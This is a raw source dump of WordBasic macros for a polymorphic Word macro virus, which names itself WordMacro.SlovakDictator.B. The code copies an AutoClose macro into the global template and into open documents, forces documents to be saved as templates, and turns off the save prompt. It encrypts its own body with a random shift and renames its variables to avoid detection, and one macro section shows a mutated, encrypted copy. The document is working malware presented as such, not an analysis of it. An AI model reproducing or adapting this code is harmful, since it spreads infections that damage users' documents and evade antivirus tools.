For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub

Sub FlushAllTables
SLOW_B.MAC

For MyVarI1 = FixedConstant_0 To HiddenLines


Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATORRESOURCEFINAL] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)'MyVarI1
Dim Shared PolyNames

Sub MAIN
On Error Goto ErrorHandler
FixedConstant_0 = 0
FixedConstant_1 = 1
DisableInput FixedConstant_1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
SLOW_B.MAC

HiddenStart = 120
HiddenLines = 181
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
ShowBox
CurFile$ = FileName$()
If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled(0) = 0 Then
Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If

Dim dlg As FileSaveAs


GetCurValues dlg
If dlg.Format = 0 Then
dlg.Format = 1
FileSaveAs dlg
End If

If CheckInstalled(1) = 0 Then
Infect(3)
FileSave
End If

ErrorHandler:
End Sub

Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 28, 8, 349, 13, "You're infected by WordMacro.SlovakDictator.B virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 5-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub

Function CheckInstalled(j)
On Error Resume Next
CheckInstalled = 0
For i = 1 To CountMacros(j)
If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1
Next i
End Function

Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "AutoClose", .Show = WhatToInfect, .Edit
SLOW_B.MAC

EditClear - 20

'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0

CryptConstant = - Int((4 + Rnd() * 10))


Call DecryptLines
Insert "CryptConstant = " + Str$(- CryptConstant)
InsertPara
FlushAllTables
DocClose 1
Activate SaveWindowName$
End Sub

Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$()
'MyVarI1
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
'MyVarI1
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete

ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
SLOW_B.MAC

MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub

Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub

Sub InitializePolymorphTables
==============================================================================
Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"
Encryption key: E0
------------------------------------------------------------------------------
Dim Shared JINQPQMFRTLHSQTNF
Dim Shared USBSNKAOFJNALCBMGVS
Dim Shared PJOKOJBSMPT
Dim Shared JBHBTPLCTCSFMPIOBES
Dim Shared NMGOJRIJSUESQUVB
Dim Shared ACRNIVGPSLPCFHO
Dim Shared KNLQVMEMFPQPEJTK
Dim Shared PGLJSTPUPTPNGROOLV
Dim Shared LLTDOPVPFRIM
Dim Shared UPENJTSLBNMLUIH
Dim Shared IMGSGFQRMNRKTMQ
Dim Shared OHIUCFVEUCFPIFVESEJ$(200)
Dim Shared TDRMLJCEKT
Dim Shared LJJVIBFHTOBT
Dim Shared BGUSBDDDIDM
Dim Shared PDDPUMDGDHTTSTG$(31)'FGQSLUSJEKSAE
Dim Shared LNEJMKPOJQKN

Sub MAIN
SLOW_B.MAC

On Error Goto VVFLNFCKLQGHDTGM


JINQPQMFRTLHSQTNF = 0
USBSNKAOFJNALCBMGVS = 1
DisableInput USBSNKAOFJNALCBMGVS
PJOKOJBSMPT = 2
JBHBTPLCTCSFMPIOBES = 7
NMGOJRIJSUESQUVB = 10
ACRNIVGPSLPCFHO = 20
KNLQVMEMFPQPEJTK = 22
PGLJSTPUPTPNGROOLV = 65
LLTDOPVPFRIM = 34
UPENJTSLBNMLUIH = 64
TDRMLJCEKT = 38
LJJVIBFHTOBT = 120
BGUSBDDDIDM = 181
LNEJMKPOJQKN = 31
RBQSGJPLBQIQ$ = AppInfo$(PJOKOJBSMPT)
OJUEODSIIGNCH = Val(Left$(RBQSGJPLBQIQ$, USBSNKAOFJNALCBMGVS))
If OJUEODSIIGNCH <> JBHBTPLCTCSFMPIOBES Then Goto VVFLNFCKLQGHDTGM
Call OENCMISQTALHDC
ScreenUpdating JINQPQMFRTLHSQTNF
DisableAutoMacros USBSNKAOFJNALCBMGVS
OOVQGUSBFLIEQCG

GGDTNQQUHVFHJFR$ = WindowName$()
'FGQSLUSJEKSAE
ToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Edit
'FGQSLUSJEKSAE
EditClear - ACRNIVGPSLPCFHO
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM : Insert OHIUCFVEUCFPIFVESEJ$(
FGQSLUSJEKSAE) : InsertPara : Next FGQSLUSJEKSAE

EditReplace .Find = Chr$(UPENJTSLBNMLUIH) + Chr$(UPENJTSLBNMLUIH), .Replace = Chr$(


LLTDOPVPFRIM), .Direction = JINQPQMFRTLHSQTNF, .MatchCase = USBSNKAOFJNALCBMGVS, .WholeWord =
JINQPQMFRTLHSQTNF, .PatternMatch = JINQPQMFRTLHSQTNF, .SoundsLike = JINQPQMFRTLHSQTNF, .
ReplaceAll, .Format = JINQPQMFRTLHSQTNF, .Wrap = USBSNKAOFJNALCBMGVS, .FindAllWordForms =
JINQPQMFRTLHSQTNF

NNRFBRGQUGQU
TUVKBMMKQHICJLCHOI
DocClose USBSNKAOFJNALCBMGVS
Activate GGDTNQQUHVFHJFR$

Call GNQPDBMBJMU
ToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Delete

VVFLNFCKLQGHDTGM:
DisableAutoMacros JINQPQMFRTLHSQTNF
ScreenUpdating USBSNKAOFJNALCBMGVS
DisableInput JINQPQMFRTLHSQTNF
End Sub

Sub OOVQGUSBFLIEQCG
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM
VFBJPMMFHHVDV$ = ""
LUQSSBMOBPDPEQPTBLA = Len(OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE))
For JRBFDDLKJSL = USBSNKAOFJNALCBMGVS To LUQSSBMOBPDPEQPTBLA
VFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Asc(Mid$(OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE),
JRBFDDLKJSL, USBSNKAOFJNALCBMGVS)) - IMGSGFQRMNRKTMQ)
Next JRBFDDLKJSL
OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) = VFBJPMMFHHVDV$
Next FGQSLUSJEKSAE
SLOW_B.MAC

End Sub

Sub NNRFBRGQUGQU
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To BGUSBDDDIDM
Insert "OHIUCFVEUCFPIFVESEJ$(" + Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +
OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)
InsertPara
Next FGQSLUSJEKSAE
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To LNEJMKPOJQKN - USBSNKAOFJNALCBMGVS
Insert "PDDPUMDGDHTTSTG$(" + Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +
PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)
InsertPara
Next FGQSLUSJEKSAE
End Sub

Function TQUJCUASMNBCNEDQNM$
VFBJPMMFHHVDV$ = ""
For FGQSLUSJEKSAE = USBSNKAOFJNALCBMGVS To NMGOJRIJSUESQUVB + Rnd() * NMGOJRIJSUESQUVB :
VFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Rnd() * KNLQVMEMFPQPEJTK + PGLJSTPUPTPNGROOLV) : Next
FGQSLUSJEKSAE
TQUJCUASMNBCNEDQNM$ = VFBJPMMFHHVDV$
End Function

Sub TUVKBMMKQHICJLCHOI
For FGQSLUSJEKSAE = JINQPQMFRTLHSQTNF To LNEJMKPOJQKN - USBSNKAOFJNALCBMGVS
EditReplace .Find = PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE), .Replace = TQUJCUASMNBCNEDQNM$, .
Direction = JINQPQMFRTLHSQTNF, .MatchCase = USBSNKAOFJNALCBMGVS, .WholeWord =
JINQPQMFRTLHSQTNF, .PatternMatch = JINQPQMFRTLHSQTNF, .SoundsLike = JINQPQMFRTLHSQTNF, .
ReplaceAll, .Format = JINQPQMFRTLHSQTNF, .Wrap = USBSNKAOFJNALCBMGVS, .FindAllWordForms =
JINQPQMFRTLHSQTNF
Next FGQSLUSJEKSAE
End Sub

Sub OENCMISQTALHDC
IMGSGFQRMNRKTMQ = 4
OHIUCFVEUCFPIFVESEJ$(0) = "Hmq$Wlevih$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(1) = "Hmq$Wlevih$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(2) = "Hmq$Wlevih$TNSOSNFWQTX"
OHIUCFVEUCFPIFVESEJ$(3) = "Hmq$Wlevih$NFLFXTPGXGWJQTMSFIW"
OHIUCFVEUCFPIFVESEJ$(4) = "Hmq$Wlevih$RQKSNVMNWYIWUYZF"
OHIUCFVEUCFPIFVESEJ$(5) = "Hmq$Wlevih$EGVRMZKTWPTGJLS"
OHIUCFVEUCFPIFVESEJ$(6) = "Hmq$Wlevih$ORPUZQIQJTUTINXO"
OHIUCFVEUCFPIFVESEJ$(7) = "Hmq$Wlevih$TKPNWXTYTXTRKVSSPZ"
OHIUCFVEUCFPIFVESEJ$(8) = "Hmq$Wlevih$PPXHSTZTJVMQ"
OHIUCFVEUCFPIFVESEJ$(9) = "Hmq$Wlevih$YTIRNXWPFRQPYML"
OHIUCFVEUCFPIFVESEJ$(10) = "Hmq$Wlevih$MQKWKJUVQRVOXQU"
OHIUCFVEUCFPIFVESEJ$(11) = "Hmq$Wlevih$SLMYGJZIYGJTMJZIWIN(,644-"
OHIUCFVEUCFPIFVESEJ$(12) = "Hmq$Wlevih$XHVQPNGIOX"
OHIUCFVEUCFPIFVESEJ$(13) = "Hmq$Wlevih$PNNZMFJLXSFX"
OHIUCFVEUCFPIFVESEJ$(14) = "Hmq$Wlevih$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(15) = "Hmq$Wlevih$THHTYQHKHLXXWXK(,75-+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(16) = "Hmq$Wlevih$PRINQOTSNUOR"
OHIUCFVEUCFPIFVESEJ$(17) = ""
OHIUCFVEUCFPIFVESEJ$(18) = "Wyf$QEMR"
OHIUCFVEUCFPIFVESEJ$(19) = "Sr$Ivvsv$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(20) = "NMRUTUQJVXPLWUXRJ$A$4"
OHIUCFVEUCFPIFVESEJ$(21) = "YWFWROESJNREPGFQKZW$A$5"
OHIUCFVEUCFPIFVESEJ$(22) = "HmwefpiMrtyx$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(23) = "TNSOSNFWQTX$A$6"
OHIUCFVEUCFPIFVESEJ$(24) = "NFLFXTPGXGWJQTMSFIW$A$;"
OHIUCFVEUCFPIFVESEJ$(25) = "RQKSNVMNWYIWUYZF$A$54"
OHIUCFVEUCFPIFVESEJ$(26) = "EGVRMZKTWPTGJLS$A$64"
SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(27) = "ORPUZQIQJTUTINXO$A$66"
OHIUCFVEUCFPIFVESEJ$(28) = "TKPNWXTYTXTRKVSSPZ$A$:9"
OHIUCFVEUCFPIFVESEJ$(29) = "PPXHSTZTJVMQ$A$78"
OHIUCFVEUCFPIFVESEJ$(30) = "YTIRNXWPFRQPYML$A$:8"
OHIUCFVEUCFPIFVESEJ$(31) = "XHVQPNGIOX$A$7<"
OHIUCFVEUCFPIFVESEJ$(32) = "PNNZMFJLXSFX$A$564"
OHIUCFVEUCFPIFVESEJ$(33) = "FKYWFHHHMHQ$A$5<5"
OHIUCFVEUCFPIFVESEJ$(34) = "PRINQOTSNUOR$A$75"
OHIUCFVEUCFPIFVESEJ$(35) = "VFUWKNTPFUMU($A$EttMrjs(,TNSOSNFWQTX-"
OHIUCFVEUCFPIFVESEJ$(36) = "SNYISHWMMKRGL$A$Zep,Pijx(,VFUWKNTPFUMU(0$YWFWROESJNREPGFQKZW--"
OHIUCFVEUCFPIFVESEJ$(37) =
"Mj$SNYISHWMMKRGL$@B$NFLFXTPGXGWJQTMSFIW$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(38) = "Gepp$SIRGQMWUXEPLHG"
OHIUCFVEUCFPIFVESEJ$(39) = "+3333$fikmr$sj$lmhhir$tevx$3333"
OHIUCFVEUCFPIFVESEJ$(40) = "Wls{Fs|"
OHIUCFVEUCFPIFVESEJ$(41) = "GyvJmpi($A$JmpiReqi(,-"
OHIUCFVEUCFPIFVESEJ$(42) = "Mj$GyvJmpi($A$DDDD$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(43) = ""
OHIUCFVEUCFPIFVESEJ$(44) = "Mj$GligoMrwxeppih,4-$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(45) = "Mrjigx,5-"
OHIUCFVEUCFPIFVESEJ$(46) = "XsspwStxmsrwWezi$2KpsfepHsxTvsqtx$A$40$2JewxWeziw$A$4"
OHIUCFVEUCFPIFVESEJ$(47) = "Ksxs$ZZJPRJGOPUKLHXKQ"
OHIUCFVEUCFPIFVESEJ$(48) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(49) = ""
OHIUCFVEUCFPIFVESEJ$(50) = "Hmq$hpk$Ew$JmpiWeziEw"
OHIUCFVEUCFPIFVESEJ$(51) = "KixGyvZepyiw$hpk"
OHIUCFVEUCFPIFVESEJ$(52) = "Mj$hpk2Jsvqex$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(53) = "hpk2Jsvqex$A$5"
OHIUCFVEUCFPIFVESEJ$(54) = "JmpiWeziEw$hpk"
OHIUCFVEUCFPIFVESEJ$(55) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(56) = ""
OHIUCFVEUCFPIFVESEJ$(57) = "Mj$GligoMrwxeppih,5-$A$4$Xlir"
OHIUCFVEUCFPIFVESEJ$(58) = "Mrjigx,7-"
OHIUCFVEUCFPIFVESEJ$(59) = "JmpiWezi"
OHIUCFVEUCFPIFVESEJ$(60) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(61) = ""
OHIUCFVEUCFPIFVESEJ$(62) = "ZZJPRJGOPUKLHXKQ>"
OHIUCFVEUCFPIFVESEJ$(63) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(64) = ""
OHIUCFVEUCFPIFVESEJ$(65) = "Wyf$Wls{Fs|"
OHIUCFVEUCFPIFVESEJ$(66) = "Tevpeqirxr}Tyg$A$He},Rs{,--"
OHIUCFVEUCFPIFVESEJ$(67) = "Mj$Tevpeqirxr}Tyg$A$8$Sv$Tevpeqirxr}Tyg$A$55$Xlir"
OHIUCFVEUCFPIFVESEJ$(68) = "Fiit"
OHIUCFVEUCFPIFVESEJ$(69) = "Fikmr$Hmepsk$YwivHmepsk$7<40$6680$DDZmvyw$EPIVX%DD"
OHIUCFVEUCFPIFVESEJ$(70) =
"Xi|x$6<0$<0$78=0$570$DD]sy+vi$mrjigxih$f}$[svhQegvs2WpszeoHmgxexsv2F$zmvywDD0$2Xi|x5"
OHIUCFVEUCFPIFVESEJ$(71) =
"Xi|x$590$6<0$7:40$570$DD[ipgsqi$xs$xli$PQI$,Peqiv+w$Qegvs$Irkmri-$ziv2$5244DD0$2Xi|x6"
OHIUCFVEUCFPIFVESEJ$(72) = "Xi|x$5890$950$5670$570$DDHmw$mw$Pizip$865DD0$2Xi|x7"
OHIUCFVEUCFPIFVESEJ$(73) =
"Xi|x$790$;70$7860$570$DD,g-$91qev1=;0$Rewx}$Peqiv$**$Ykp}$Pywiv0$WpszeomeDD0$2Xi|x8"
OHIUCFVEUCFPIFVESEJ$(74) =
"Xi|x$780$=<0$7870$570$DDHmw$mw$xli$jmvwx${svph$xvyi$tsp}qsvtlmg$qegvs$zmvyw$%DD0$2Xi|x9"
OHIUCFVEUCFPIFVESEJ$(75) = "TywlFyxxsr$5640$5<<0$58;0$650$DDEggitx$3$WylpewDD0$2Tywl5"
OHIUCFVEUCFPIFVESEJ$(76) =
"Xi|x$5440$5:90$66<0$570$DDFmk$jygo$xs$xli$fmk$fs|iv$Z2Q2DD0$2Xi|x:"
OHIUCFVEUCFPIFVESEJ$(77) = "Irh$Hmepsk"
OHIUCFVEUCFPIFVESEJ$(78) = "Hmq$hpk$Ew$YwivHmepsk"
OHIUCFVEUCFPIFVESEJ$(79) = "Hmepsk,hpk-"
OHIUCFVEUCFPIFVESEJ$(80) = "Irh$Mj"
OHIUCFVEUCFPIFVESEJ$(81) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(82) = ""
SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(83) = "Jyrgxmsr$GligoMrwxeppih,n-"
OHIUCFVEUCFPIFVESEJ$(84) = "Sr$Ivvsv$Viwyqi$Ri|x"
OHIUCFVEUCFPIFVESEJ$(85) = "GligoMrwxeppih$A$4"
OHIUCFVEUCFPIFVESEJ$(86) = "Jsv$m$A$5$Xs$GsyrxQegvsw,n-"
OHIUCFVEUCFPIFVESEJ$(87) = "Mj$QegvsReqi(,m0$n-$A$DDEyxsGpswiDD$Xlir$GligoMrwxeppih$A$5"
OHIUCFVEUCFPIFVESEJ$(88) = "Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(89) = "Irh$Jyrgxmsr"
OHIUCFVEUCFPIFVESEJ$(90) = ""
OHIUCFVEUCFPIFVESEJ$(91) = "Wyf$Mrjigx,[lexXsMrjigx-"
OHIUCFVEUCFPIFVESEJ$(92) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"
OHIUCFVEUCFPIFVESEJ$(93) = "XsspwQegvs$2Reqi$A$DDEyxsGpswiDD0$2Wls{$A$[lexXsMrjigx0$2Ihmx"
OHIUCFVEUCFPIFVESEJ$(94) = "IhmxGpiev$1$64"
OHIUCFVEUCFPIFVESEJ$(95) = ""
OHIUCFVEUCFPIFVESEJ$(96) = "+3333"
OHIUCFVEUCFPIFVESEJ$(97) = "+3333$Zps~irmi$tvz}gl$XHVQPNGIOX$vmehosz$oshy$qeove"
OHIUCFVEUCFPIFVESEJ$(98) = "+3333$zmhmxipre$gewx$1$riqirmx$%"
OHIUCFVEUCFPIFVESEJ$(99) = "+3333"
OHIUCFVEUCFPIFVESEJ$(100) =
"Jsv$m$A$4$Xs$XHVQPNGIOX$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(101) = "+3333"
OHIUCFVEUCFPIFVESEJ$(102) = "+3333$tviqirre$m$mhi$sh$vmehosz$DDWyf$SvmkmrepQegvsFsh}DD/5"
OHIUCFVEUCFPIFVESEJ$(103) = "+3333$e~$ts$DDWyf$SIRGQMWUXEPLHGDD15"
OHIUCFVEUCFPIFVESEJ$(104) = "+3333$zipqm$ts~svri$yvgmx$xmixs$osrwxerx}$%%%"
OHIUCFVEUCFPIFVESEJ$(105) = "+3333"
OHIUCFVEUCFPIFVESEJ$(106) =
"Jsv$m$A$PNNZMFJLXSFX$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"
OHIUCFVEUCFPIFVESEJ$(107) =
"IhmxVitpegi$2Jmrh$A$Glv(,:8-$/$Glv(,:8-0$2Vitpegi$A$Glv(,78-0$2Hmvigxmsr$A$40$2QexglGewi$A$50
$2[lspi[svh$A$40$2TexxivrQexgl$A$40$2WsyrhwPmoi$A$40$2VitpegiEpp0$2Jsvqex$A$40$2[vet$A$50$2Jmr
hEpp[svhJsvqw$A$4"
OHIUCFVEUCFPIFVESEJ$(108) = ""
OHIUCFVEUCFPIFVESEJ$(109) = "MQKWKJUVQRVOXQU$A$1$Mrx,,8$/$Vrh,-$.$54--"
OHIUCFVEUCFPIFVESEJ$(110) = "Gepp$SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(111) = "Mrwivx$DDMQKWKJUVQRVOXQU$A$DD$/$Wxv(,1$MQKWKJUVQRVOXQU-"
OHIUCFVEUCFPIFVESEJ$(112) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(113) = "RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(114) = "HsgGpswi$5"
OHIUCFVEUCFPIFVESEJ$(115) = "Egxmzexi$KKHXRUUYLZJLNJV("
OHIUCFVEUCFPIFVESEJ$(116) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(117) = ""
OHIUCFVEUCFPIFVESEJ$(118) = "Wyf$SvmkmrepQegvsFsh}"
OHIUCFVEUCFPIFVESEJ$(119) = "+3333$irh$sj$Lmhhir$tevx$3333"
OHIUCFVEUCFPIFVESEJ$(120) = "WgviirYthexmrk$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(121) = "HmwefpiEyxsQegvsw$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(122) = "SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(123) = ""
OHIUCFVEUCFPIFVESEJ$(124) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"
OHIUCFVEUCFPIFVESEJ$(125) = "+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(126) =
"XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Ihmx"
OHIUCFVEUCFPIFVESEJ$(127) = "+JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(128) = "IhmxGpiev$1$EGVRMZKTWPTGJLS"
OHIUCFVEUCFPIFVESEJ$(129) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIO
WEI-$>$MrwivxTeve$>$Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(130) = ""
OHIUCFVEUCFPIFVESEJ$(131) =
